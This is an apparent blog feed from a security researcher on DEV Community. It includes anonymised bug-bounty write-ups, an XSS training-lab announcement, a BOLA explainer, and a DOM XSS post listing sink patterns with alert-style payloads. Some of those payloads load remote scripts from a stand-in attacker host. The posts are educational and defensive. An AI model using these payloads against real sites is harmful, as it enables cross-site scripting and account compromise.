DEV Community: Abhinav Singwal

I recently published a comprehensive guide to my open-source project, xss-labs, on Dev.to. The post covers all 39 interactive XSS challenges that run directly in your browser.

Abhinav Singwal — Tue, 26 May 2026 06:21:48 +0000

Abhinav Singwal

May 26

Master XSS the Practical Way: Introducing xss-labs

#tryhackme #xss #xssrat #hackthebox

Comments

3 min read

Master XSS the Practical Way: Introducing xss-labs

Abhinav Singwal — Tue, 26 May 2026 06:20:28 +0000

I built xss-labs, a free, open-source collection of 39 interactive XSS challenges. It runs entirely in your browser with no server and no setup required. It is perfect for developers, penetration testers, and anyone preparing for PortSwigger, TryHackMe, or bug bounty programs. The live demo is available at yogsec.github.io/xss-labs and the GitHub repository is at github.com/yogsec/xss-labs.

Why Another XSS Lab

Cross-Site Scripting (XSS) remains number seven on the OWASP Top 10, and it continues to be a widespread vulnerability. The main reason is that developers still trust user input without proper sanitization.

The problem with most XSS tutorials is that they focus only on theory. Many require setting up a vulnerable virtual machine or a backend environment. They also fail to show real injection points across different contexts.

I wanted something different. I wanted a resource where you could open a URL and start hacking immediately without any installation. I wanted every major XSS vector covered, including reflected, stored, DOM-based, and event handler injections. I also wanted solutions included so learners understand why a particular payload works.

That is why I built xss-labs.

What Is Inside the 39 Labs

The labs are organized into logical categories. Each category focuses on a specific injection context.

The reflected XSS section covers GET parameter reflection, POST parameters simulated with sessionStorage, URL hash injection, Referer header mock, and User-Agent reflection.

The stored XSS section using frontend storage includes cookie value reflection, document.title injection, window.name persistence, localStorage key reflection, sessionStorage value reflection, IndexedDB read and render, cookie injection, cross-page navigation with window.name, history.state with pushState, Base64 decode and inject, and multi-key local storage.

The DOM-based XSS section demonstrates document.write with location.search, innerHTML with unsanitized input, insertAdjacentHTML injection, outerHTML replacement, eval() of user-controlled strings, setTimeout with user strings, setInterval injection, the Function() constructor, the javascript: pseudo-protocol in location.href, and dynamic script src injection.

The event handler XSS section covers onclick injection, onmouseover XSS, img onerror triggers, body onload payloads, onfocus with autofocus, oninput injection, onchange select XSS, onkeyup injection, and onsubmit form hijacking.

Each lab is a single HTML file. You can read the vulnerable code, try your own payloads, and click the solution button when you need help understanding the fix.

How to Use xss-labs

Using the labs takes less than thirty seconds. First, visit yogsec.github.io/xss-labs. Second, browse the lab index page to see all available challenges. Third, click on any lab to open it. Each lab contains a description of the vulnerability, an interactive vulnerable component, a real-time output reflection area, a collapsible hints section, and a solution panel with explanation and fix.

You can experiment with different payloads to understand how each attack vector works. All labs run locally in your browser. No malicious code is transmitted externally.

For the best learning experience, open your browser's developer tools and watch the network tab and console as you inject payloads.

Who Should Use These Labs

Web developers will benefit by learning how to avoid writing vulnerable code. Penetration testers can practice bypass techniques in a safe environment. Bug bounty hunters will recognize XSS vectors more quickly during real engagements. Students preparing for PortSwigger labs, TryHackMe, or the CEH practical exam can drill the basics before moving to advanced challenges. Self-taught hackers will find hands-on practice more valuable than reading CVEs.

The Technology Behind the Labs

The labs are built with HTML5, CSS3, and vanilla JavaScript. No frameworks are used to obscure the vulnerable logic. Bootstrap 5 is included only for layout purposes and does not affect security. The entire project is hosted on GitHub Pages, which means it is completely client-side and requires no backend server.

Every lab is deliberately simple so you can focus on the injection technique rather than framework complexity.

A Real-World Learning Example

Lab number seven demonstrates eval injection. The vulnerable code looks like this:

let userInput = new URLSearchParams(location.search).get('code');
eval(userInput);

An attacker could supply a payload such as code=alert(document.cookie) to execute arbitrary JavaScript. What you learn from this lab is that you should never pass user input to eval, setTimeout with a string, the Function constructor, or similar dynamic code execution functions. The lab shows you both the exploit and the fix, such as using JSON.parse or a whitelist approach.

#Privacy #Google #GooglePhotos #Gmail

Abhinav Singwal — Sat, 16 May 2026 23:26:24 +0000

Abhinav Singwal

May 16

Your Private Google Photos Are Protected by Just a Link. That Is Not Okay.

#privacy #google #googlephotos #photos

Comments 1

4 min read

Finding Weak Input Validation in Address Fields

Abhinav Singwal — Sat, 25 Apr 2026 13:20:00 +0000

While testing a web application’s account settings feature, I came across an interesting case related to input validation.

What I Found

The application allowed users to update details such as:

City
State
Name
Phone
Postal Code
Street fields

By intercepting the request and modifying these parameters, I was able to submit arbitrary values like:

Vulnerable@123

The application accepted these values without any validation and stored them successfully. When revisiting the profile page, the same values were reflected exactly as submitted.

Why This Matters

At first glance, this might look like a low impact issue. But weak input validation can lead to:

Data integrity problems
Inconsistent behavior in downstream systems
Potential attack surface if combined with other vulnerabilities

For example, if such inputs are later used in templates, logs, or external integrations, they could introduce unexpected behavior or even security risks.

Technical Observation

No strict server side validation was enforced
Client side controls were easily bypassed
Arbitrary characters and formats were accepted
Data was reflected without normalization

Report Outcome

The issue was marked as:

Informational
Duplicate

Since it did not directly lead to a security impact, it was considered low priority.

Key Takeaways

Never rely only on client side validation
Always enforce strong server side validation
Even low severity issues are worth exploring
Try chaining small issues to uncover real impact

When an API Key Lives in Local Storage: A Subtle but Risky Pattern

Abhinav Singwal — Thu, 23 Apr 2026 11:48:49 +0000

While testing a production web application, I noticed a third-party API key (used for consent and privacy management) stored directly in the browser’s localStorage. It’s a common pattern in modern frontends—but one that can quietly expand your attack surface.

This post breaks down why it matters, how it can be abused in real scenarios, and what both developers and bug hunters should look for.

What Happened

A consent-management service API key was present in localStorage on page load (no authentication required).
Any JavaScript executing in the page context could read it.
The key appeared to be used for client-side interactions with a third-party API.

Why This Is Risky

1) Local Storage Is Not a Secret Store

Anything in localStorage is:

Readable by any script on the page
Persisted across sessions
Exposed to browser extensions and injected scripts

If an attacker lands an XSS—even a low-impact one—they can exfiltrate the key instantly.

2) Keys Enable Backend Interaction

Even if the key is “just for a third-party service,” it may:

Call APIs that mutate state (e.g., consent records)
Access user-related data
Trigger workflows like DSAR operations

3) Low Impact Alone, Higher Impact When Chained

On its own, a single exposed key might look benign. Combined with:

XSS
Misconfigured CORS
Over-permissive API scopes

…it can become a practical exploitation path.

Threat Modeling the Scenario

Attacker prerequisites:

Ability to run JavaScript in the victim’s browser (XSS, malicious extension, supply-chain script)

What they can do:

Read localStorage → extract API key
Replay requests to the third-party API
Attempt to manipulate consent or privacy data (depending on API permissions)

Potential outcomes:

Unauthorized modification of user preferences
Abuse of consent APIs
Compliance and trust issues

How to Verify (For Bug Hunters)

Open the target site.
Open DevTools → Application tab → Local Storage.
Look for keys like:

apiKey, token, auth, clientKey
1. Trace usage:
Search in Sources/Network for where the key is used.
Inspect requests made with the key.
1. Validate impact:
Are there write operations?
Can you call endpoints outside the app?
Are scopes restricted?

Tip: Don’t stop at “key found.” Always try to demonstrate:

What the key can do
Whether it can be abused outside the browser context

Developer Guidance

1) Don’t Store Secrets in the Browser

Treat API keys like credentials.
If it must be used client-side, assume it is public.

2) Use a Backend Proxy

Keep sensitive keys server-side.
Let the frontend call your backend, which then calls the third-party API.

3) Scope and Restrict Keys

Limit permissions to the minimum required.
Bind keys to specific domains/IPs if supported.
Separate read vs write capabilities.

4) Rotate and Monitor

Rotate exposed keys immediately.
Monitor usage patterns for anomalies.

5) Harden the Client

Implement a strict Content Security Policy (CSP).
Reduce third-party script exposure.
Sanitize and validate all inputs to minimize XSS risk.

When Internal Admin Panels and Config Files Are Publicly Accessible

Abhinav Singwal — Sun, 19 Apr 2026 11:03:28 +0000

While exploring a web application, I came across an issue where internal administrative resources and configuration files were accessible over the internet without proper restrictions. At first glance, this might not look critical, but it significantly increases the risk for targeted attacks.

Simple Explanation (For Everyone)

Imagine a building where the control room is supposed to be restricted.
Now imagine that not only is the door visible to everyone, but a document explaining how all the controls inside work is also left outside.

Even if the door is locked, that information alone makes it much easier for someone to break in.

What Was Exposed

An administrative interface path
A sensitive configuration file that should never be publicly accessible
Internal system operations (such as start, stop, add, remove services)
Details about how authentication works

Why This Is Risky

Even without direct access, exposing this kind of information creates a strong foundation for attackers.

1. Information Disclosure
Internal structure, endpoints, and system behavior become visible.

2. Increased Attack Surface
Attackers can directly target sensitive endpoints instead of guessing.

3. Targeted Attacks Become Easier
Knowing the authentication method and internal functions allows more precise attack strategies.

Real-World Risk

If combined with other weaknesses like weak passwords or misconfigurations, this could potentially lead to:

Unauthorized administrative access
Control over application functions
In severe cases, remote code execution

What Should Be Done

Restrict access to sensitive directories (like configuration folders)
Ensure administrative panels are not publicly exposed
Disable access to internal files from the browser
Regularly audit applications for unintended exposures

https://linktr.ee/abhinavsingwal

Finding 100+ Public Log Files & SQL Dumps: What It Taught Me About Security

Abhinav Singwal — Thu, 16 Apr 2026 10:09:27 +0000

While exploring websites for security issues, I came across something interesting over 100 publicly accessible log files and database-related files available online.

At first, it looked like a serious problem. But as I analyzed it further, it turned into an important learning experience about how security issues are evaluated in the real world.

What I Found

Using basic techniques to collect website links, I discovered multiple pages where files were openly accessible without any login.

These files included:

Log files (records of system activity)
Database structure files
Debug and error reports

What Kind of Information Was Visible?

When I checked these files, I found different types of information that should normally stay private:

1. Session Information

Some files contained session IDs, which are used to keep users logged in.

2. Internal Links

There were internal service URLs that show how the system communicates behind the scenes.

3. API Keys and Identifiers

Some entries showed keys and IDs used by applications to connect with services.

4. Personal Information

A few logs included usernames, email addresses, and system-related details.

5. System Details

The files revealed:

Folder paths from computers
Software versions
Internal configurations

6. Debug Information

Some logs showed development-related details like:

Debug ports
Internal code references
Build information

Why This Can Be Risky

Even if this data cannot be directly used to hack a system, it can still help attackers in several ways:

Understand how a system works internally
Identify weak points
Prepare more targeted attacks
Use exposed information for scams or social engineering

The Most Important Lesson

At first, it seemed obvious that this was a major security issue.

But the key question is:

Who made this data public?

There are two possibilities:

The platform accidentally exposed it (a real security issue)
Users uploaded these files themselves (not always a platform issue)

This difference is very important when evaluating security reports.

How This Changed My Thinking

Earlier, I focused mainly on finding sensitive data.

Now I focus on:

Why the data is exposed
Who is responsible
Whether it can actually be misused

What Makes a Strong Security Finding

A strong report is not just about showing data is visible.

It should also explain:

How someone can misuse it
What damage it can cause
What system failed to prevent it

How This Can Be Prevented

From a security perspective, platforms can reduce such risks by:

Restricting uploads of sensitive file types
Scanning files before making them public
Removing private information from logs
Blocking access to internal files
Preventing search engines from indexing sensitive content

bugbounty #cybersecurity #infosec #securityresearch #learning

Input Validation Issue in a User Profile Feature

Abhinav Singwal — Tue, 14 Apr 2026 10:26:59 +0000

While testing a web application as part of my security research, I came across an interesting case related to input validation in a user profile update feature.

This write-up focuses on the technical understanding and learning, while keeping all sensitive details anonymized.

Overview

Most web applications allow users to update profile information such as name, email, or preferences. These fields may look simple, but they are critical from a security perspective.

In this case, I was testing a profile update functionality, specifically the display name field.

Initial Observation

From the frontend, the application appeared to restrict input normally. However, instead of relying only on the UI, I decided to test how the backend handles input.

Using a proxy tool, I intercepted the request responsible for updating user data.

What I Found

By modifying the intercepted request, I was able to send unexpected input in the display name field.

Example payload:

#' + alert(1) + '

After sending the modified request:

The server accepted the input
The response returned a success message
The malicious-looking input was stored in the user profile

Technical Breakdown

Request Manipulation

Original request method was modified to a data update request
JSON body was altered to include crafted input
The modified request was sent directly to the server

Server Behavior

No validation or filtering was applied
The server stored the input as-is
The response confirmed successful update

Why This is Important

Even though this did not immediately lead to script execution, it highlights a lack of proper input validation.

1. Trusting User Input

The server trusted the input without verifying:

Expected format (e.g., only letters for name)
Presence of suspicious patterns

2. Potential Security Risk

If this stored value is later used in:

HTML pages
JavaScript contexts
Logs or admin panels

It could lead to vulnerabilities like:

Cross-Site Scripting (XSS)
UI manipulation
Data corruption

3. Chaining Possibility

Low-impact issues like this can become dangerous when combined with:

Reflected outputs
Admin dashboards
Unsafe rendering contexts

Key Learnings

Always Test Beyond the UI

Frontend restrictions can be bypassed easily. Always test at the request level.

Input Validation is Critical

Applications must validate:

Data type
Length
Allowed characters

Think About Data Flow

Ask:

Where will this data be used next?
Can it be rendered somewhere unsafe?

Small Issues Matter

Even if something is not exploitable now, it can become exploitable later.

Recommendations for Developers

1. Implement Strict Server-Side Validation

Define clear rules for each field:

Names should only allow expected characters
Reject unexpected patterns

2. Sanitize Input Before Storage

Filter or clean data before saving it in the database.

3. Use Context-Aware Output Encoding

Ensure safe rendering in:

HTML
JavaScript
Attributes

4. Avoid Trusting Client-Side Validation

Client-side checks are easily bypassed.

5. Monitor Unusual Inputs

Log and monitor suspicious patterns for early detection.

Real-World Insight

Many real-world vulnerabilities start like this:

Input is accepted without validation
Data is stored
Later used in a different context
Leads to XSS or other attacks

That’s why even simple input handling issues should not be ignored.

Exploring an Unrestricted API Access Issue in a Booking System

Abhinav Singwal — Mon, 13 Apr 2026 09:19:04 +0000

During my recent testing, I came across an interesting case involving a flight booking feature where an API endpoint was accessible without any authentication. This write-up shares the technical details and learnings while keeping the target fully anonymized.

Overview

Modern web applications rely heavily on APIs to fetch and display data. These APIs often power frontend features like search results, filters, and dynamic content.

In this case, I was testing a flight search functionality and observed that the frontend was making requests to a backend API to retrieve flight data.

What I Found

While analyzing the network traffic, I identified an API endpoint responsible for returning flight details such as:

Flight schedules
Ticket pricing
Airline information
Availability

The key observation was that this endpoint:

Did not require authentication
Did not enforce strict access controls
Was directly accessible via a browser or script

Why This Matters

At first glance, this might look like normal functionality. However, from a security and business perspective, it introduces several risks.

1. Data Misuse

Anyone can extract large amounts of proprietary data and reuse it elsewhere.

2. Unauthorized Services

Attackers or competitors could build their own platforms using this data without permission.

3. Revenue Impact

If the data is part of a paid or licensed service, unrestricted access could lead to financial loss.

4. Scraping at Scale

Without rate limiting or authentication, automated tools can collect massive datasets quickly.

Key Learnings

APIs Are Part of the Attack Surface

Security testing should always include API endpoints, not just the UI.

Look for Missing Controls

Even if an API works correctly, check:

Is authentication required?
Are there rate limits?
Is data exposure justified?

Think Beyond Exploitation

Not all issues are about code execution. Some are about data exposure and misuse.

Advice for Developers

1. Implement Proper Access Control

Even for public data, consider:

API keys
Token-based authentication
Scoped access

2. Apply Rate Limiting

Prevent automated abuse by limiting the number of requests per user or IP.

3. Monitor API Usage

Track unusual patterns such as:

High-frequency requests
Large-scale data extraction

4. Restrict Data Exposure

Only return the minimum required data in API responses.

5. Use Anti-Scraping Mechanisms

Consider:

Request fingerprinting
CAPTCHA for suspicious activity

6. Validate Business Logic

Ensure that APIs cannot be abused to bypass intended usage models.

Self XSS Vulnerability in a Rich Text Editor

Abhinav Singwal — Sun, 12 Apr 2026 06:22:22 +0000

During my recent security testing, I identified a Self Cross-Site Scripting (Self-XSS) issue in a web-based ticketing platform. This write-up focuses on the technical details and learning aspects while keeping the target fully anonymized.

What is the Issue

The application uses a rich text editor for user input, commonly found in ticket systems, comment sections, and dashboards.

While testing the editor features, I discovered that the insert link functionality was not properly handling certain types of input. This allowed crafted payloads to be injected and executed in the browser.

Root Cause

The core issue lies in improper handling of user-controlled input inside the editor.

Specifically:

The URL field in the insert link feature accepted complex input
The input was not fully sanitized before being processed
The editor allowed rendering of embedded HTML through data URIs

This created a situation where browser-executable content could be introduced.

Technical Breakdown

Payload Used

<object data='data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+'></object>

What this does

data:text/html;base64,... allows embedding HTML content directly
The Base64 string decodes to an SVG element with an onload event
When rendered, the browser executes JavaScript

This is a common technique to bypass basic filters that only block <script> tags.

Execution Flow

User opens the editor
Clicks on insert link option
Enters crafted payload in URL field
Saves the content
When the content is rendered:

The object tag loads the data URI
The embedded SVG executes JavaScript via onload

Observed Behavior

JavaScript executed successfully in the browser
The execution was restricted to the same user session
The payload did not impact other users or administrators

Why It is Self XSS

This case was classified as Self-XSS because:

The attack requires the user to inject the payload themselves
No automatic execution for other users
No cross-user data exposure
No privilege escalation

From a risk perspective, this is considered low impact in most bug bounty programs.

Why It Still Matters

Even though this is labeled as low severity, it is still important from a security standpoint.

1. Indicator of Weak Input Handling

It shows that the application does not fully sanitize complex inputs.

2. Potential for Chaining

If combined with other issues like:

Clickjacking
Social engineering
Stored input reuse

It could lead to more serious exploitation.

3. Editor Attack Surface

Rich text editors are historically prone to XSS-related issues due to their flexibility.

Recommendations for Developers

1. Strict Input Validation

Do not allow raw HTML or dangerous tags in user input fields.

2. Sanitize Editor Output

Use well-tested sanitization libraries to clean content before rendering.

3. Block Dangerous Schemes

Restrict usage of:

data: URIs
javascript: protocols

4. Apply Content Security Policy (CSP)

Limit execution of inline scripts and restrict resource loading.

5. Context-Aware Encoding

Ensure proper encoding based on where the data is rendered.

Key Takeaways

Not all XSS issues are high impact
Understanding context is critical in vulnerability assessment
Rich text editors require deep testing beyond basic payloads
Always think in terms of exploitation possibilities, not just execution

About Me

I am focused on web application security and VAPT.
I am open to remote opportunities and interested in working with startups and small teams where I can contribute and grow.

Advanced DOM XSS Patterns Every Developer Should Know

Abhinav Singwal — Wed, 18 Mar 2026 19:02:54 +0000

If you're serious about finding DOM XSS in modern applications, you need to move beyond “search for innerHTML” and start thinking like a data-flow analyst.

1. Indirect Object Property Injection

let key = location.hash.substring(1);
let obj = { content: key };
document.body.innerHTML = obj.content;

Payload:

#<img src=x onerror=alert(1)>

Why it works:
The input is hidden inside an object, making it easy to miss.

How to think:
Track data even when it's wrapped in objects.

Fix:

document.body.textContent = obj.content;

2. Array Join Injection

let parts = [location.hash, " world"];
document.body.innerHTML = parts.join("");

Payload:

#<svg/onload=alert(1)>

Why it works:
Array operations don’t sanitize input.

Fix:

document.body.textContent = parts.join("");

3. replace() Callback Injection

let result = location.hash.replace(/x/g, () => '<img src=x onerror=alert(1)>');
document.body.innerHTML = result;

Payload:

#xxx

Why it works:
Developer introduces HTML dynamically.

4. Anchor href Injection

element.innerHTML = `<a href="${location.hash}">Click</a>`;

Payloads:

#javascript:alert(1)
#data:text/html,<script>alert(1)</script>

Why it works:
JavaScript URLs execute in browser context.

Fix:

if (!url.startsWith("https://")) return;

5. History API Injection

let page = location.search.split("=")[1];
history.pushState({}, "", page);
document.body.innerHTML = page;

Payload:

?page=<img src=x onerror=alert(1)>

6. Form Action Injection

form.innerHTML = `<form action="${location.hash}"></form>`;

Payload:

#javascript:alert(1)

Impact:
Form submits to attacker-controlled or JS URL.

7. CSS Injection → XSS

element.innerHTML = `<style>${location.hash}</style>`;

Payload:

#body{background:url("javascript:alert(1)")}

Why it works:
Some browsers interpret JS inside CSS.

8. onclick Attribute Injection

element.innerHTML = `<button onclick="${location.hash}">Click</button>`;

Payload:

#alert(1)

9. Dataset → eval Chain

element.innerHTML = `<div data-x="${location.hash}"></div>`;
let value = document.querySelector("div").dataset.x;
eval(value);

Payload:

#alert(1)

Why it works:
Multi-step execution chain.

10. outerHTML Replacement

element.outerHTML = location.hash;

Payload:

#<img src=x onerror=alert(1)>

11. Manual Query Parsing

let q = location.search.split("q=")[1];
document.body.innerHTML = q;

Payload:

?q=<svg/onload=alert(1)>

12. HTML Comment Breakout

element.innerHTML = `<!-- ${location.hash} -->`;

Payload:

#--><img src=x onerror=alert(1)>

Why it works:
Breaks out of comment context.

13. Template Literal Injection

let tpl = `<h1>${location.hash}</h1>`;
element.innerHTML = tpl;

Payload:

#<img src=x onerror=alert(1)>

14. iframe src Injection

iframe.src = location.hash;

Payloads:

#javascript:alert(1)
#data:text/html,<script>alert(1)</script>

15. Error Handling Injection

try {
  throw location.hash;
} catch (e) {
  document.body.innerHTML = e;
}

Payload:

#<img src=x onerror=alert(1)>

16. DOMParser Injection

let parser = new DOMParser();
let doc = parser.parseFromString(location.hash, "text/html");
document.body.appendChild(doc.body);

Payload:

#<img src=x onerror=alert(1)>

17. Dynamic Script Injection

let script = document.createElement("script");
script.src = location.hash;
document.body.appendChild(script);

Payload:

#https://attacker.com/x.js

18. Fetch → DOM Injection

fetch(location.hash)
  .then(res => res.text())
  .then(data => {
    document.body.innerHTML = data;
  });

Payload:

#https://attacker.com/payload.html

19. setTimeout String Execution

setTimeout(location.hash, 1000);

Payload:

#alert(1)

20. window.name Injection

document.body.innerHTML = window.name;

Attack Flow:

window.name = "<img src=x onerror=alert(1)>";
location = "https://target.com";

Final Mental Model

When reviewing JavaScript, always map:

SOURCE → TRANSFORMATION → SINK

Where:

Source = location, storage, message, URL
Transformation = decode, replace, parse
Sink = innerHTML, eval, script, attributes

Payload Strategy

Don’t rely on one payload. Rotate between:

<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
javascript:alert(1)
data:text/html,<script>alert(1)</script>
" onmouseover=alert(1) x="

Understanding Vertical BOLA in APIs

Abhinav Singwal — Mon, 09 Mar 2026 11:07:40 +0000

When learning API penetration testing, one of the most dangerous vulnerabilities you will encounter is Vertical BOLA.

It is responsible for many critical bug bounty reports and real-world data breaches.

In this article, we will break down what Vertical BOLA is, why it happens, and how security researchers can test for it.

What is Vertical BOLA?

Vertical BOLA happens when a normal user is able to access functionality or data that should only be available to higher-privileged roles such as administrators.

In simple terms:

A user is authenticated, but the API does not properly verify whether that user should be allowed to perform a privileged action.

This leads to privilege escalation.

Horizontal vs Vertical BOLA

Understanding the difference is important.

Horizontal BOLA

User accesses another user's data.

Example:

GET /api/users/102

User 101 changes the ID to 102 and accesses another user's profile.

Vertical BOLA

User accesses admin-level functionality.

Example:

GET /api/admin/users

If a normal user token can access this endpoint, it is a Vertical BOLA vulnerability.

Why Vertical BOLA Happens

Most developers correctly implement authentication, but forget to enforce authorization checks.

Common mistakes include:

Only checking if the user is logged in
Trusting frontend restrictions
Missing role validation in backend APIs
Reusing internal admin endpoints for public APIs
Incorrect middleware configuration

Because APIs are often used by web, mobile, and internal tools, some endpoints accidentally become exposed.

Real-World Example

Imagine a normal user sends this request:

GET /api/admin/users
Authorization: Bearer user_token

Response:

[
  {
    "id": 1,
    "email": "admin@company.com",
    "role": "admin"
  }
]

This means the API failed to verify that the user is not an administrator.

This is a critical vulnerability.

Common Vertical BOLA Patterns

Security researchers often find Vertical BOLA in the following areas.

1. Admin Endpoints

Look for endpoints like:

/api/admin/users
/api/admin/settings
/api/admin/reports

If they work with a normal user token, there is a problem.

2. Role Manipulation in Requests

Sometimes APIs trust user input.

Example request:

{
  "role": "admin"
}

If the backend accepts this, the attacker may gain admin privileges.

3. Organization-Level Access

Many SaaS platforms separate customers by organization or tenant.

Example:

GET /api/org/1234/users

If a user from organization 5678 can access 1234, this becomes a serious data breach.

4. Export and Reporting APIs

Admin dashboards often include powerful endpoints:

GET /api/export/users
GET /api/export/transactions
GET /api/export/reports

These endpoints sometimes lack proper role checks.

How to Test for Vertical BOLA

A simple testing workflow:

Create a normal user account
Intercept requests using a proxy
Look for:

Admin routes in JavaScript files
Hidden API endpoints
Internal APIs used by dashboards
1. Replay these requests using the normal user token
2. Observe responses for unauthorized data access

Always compare:

Status codes
Response data
Accessible actions

Potential Impact

Vertical BOLA can lead to:

Viewing all users' personal information
Changing user roles
Accessing financial reports
Deleting accounts
Resetting passwords
Full system compromise

In bug bounty programs, this is usually classified as Critical severity.

Why APIs Are Especially Vulnerable

APIs expose direct backend functionality, which means:

Frontend restrictions can be bypassed
Attackers interact directly with backend logic
Authorization checks must be implemented on every endpoint

Even one missing check can expose the entire system.

How Developers Can Prevent Vertical BOLA

Secure APIs should always:

Enforce role-based access control (RBAC) on the server
Validate permissions for every request
Avoid trusting client-supplied roles
Use centralized authorization middleware
Perform object-level permission checks

Security should never depend on frontend controls.